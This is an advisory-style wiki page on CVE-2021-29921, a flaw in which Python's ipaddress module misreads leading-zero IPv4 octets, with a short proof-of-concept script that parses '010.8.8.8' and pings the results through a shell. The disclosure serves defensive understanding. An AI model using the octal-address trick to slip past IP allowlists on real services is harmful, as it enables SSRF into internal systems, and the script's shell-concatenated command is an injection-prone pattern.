View source for CVE-2021-29921 python3.8.0-v3.10 SSRF&RFI漏洞

==簡介==
python stdlib “ipaddress” – Improper Input Validation of octal literals in python 3.8.0 thru v3.10 results in indeterminate SSRF & RFI vulnerabilities. — “ipaddress leading zeros in IPv4 address”


Improper input validation of octal strings in Python 3.8.0 thru v3.10 stdlib ipaddress allows unauthenticated remote attackers to perform indeterminate SSRF, RFI, and LFI attacks on many programs that rely on Python stdlib ipaddress. IP address octects are left stripped instead of evaluated as valid IP addresses. For example, an attacker submitting an IP address to a web application that relies on stdlib ipaddress, could cause SSRF via inputting octal input data; An attacker can submit exploitable IP addresses if the octet is 3 digits, with the minimum exploitable octect being 08 (Denial of Service) and the maximum exploitable octet is 099. For example, an attacker can submit 010.8.8.8, which is 8.8.8.8, yet Python ipaddress builtin will evaluate this as 10.8.8.8.


==POC==
Vulnerability added in python3.8

https://github.com/python/cpython/pull/12577

Documentated to be vulnerable in the changelog:

https://github.com/python/cpython/blob/63298930fb531ba2bb4f23bc3b915dbf1e17e9e1/Misc/NEWS.d/3.8.0a4.rst


<pre>
#!/usr/bin/env python
# Authors:      sickcodes, Victor Viale
# License:      GPLv3+
# Reference:    https://docs.python.org/3.10/library/ipaddress.html#ipaddress.IPv4Address

# Leading zeroes are tolerated only for values less than 8 (as there is no ambiguity between the decimal and octal interpretations of such strings).

import subprocess
import ipaddress

SUSPECT = '010.8.8.8'

print(ipaddress.ip_network(SUSPECT, strict=True))

BAD_IP = ipaddress.ip_address(SUSPECT)

print('http://'+str(BAD_IP))

print(str(subprocess.check_output("ping -W3 -v -c1 "+str(SUSPECT), shell=True, universal_newlines=True).strip()))

print(str(subprocess.check_output("ping -W3 -v -c1 "+str(BAD_IP), shell=True, universal_newlines=True).strip()))
</pre>


==參考==
https://sick.codes/sick-2021-014/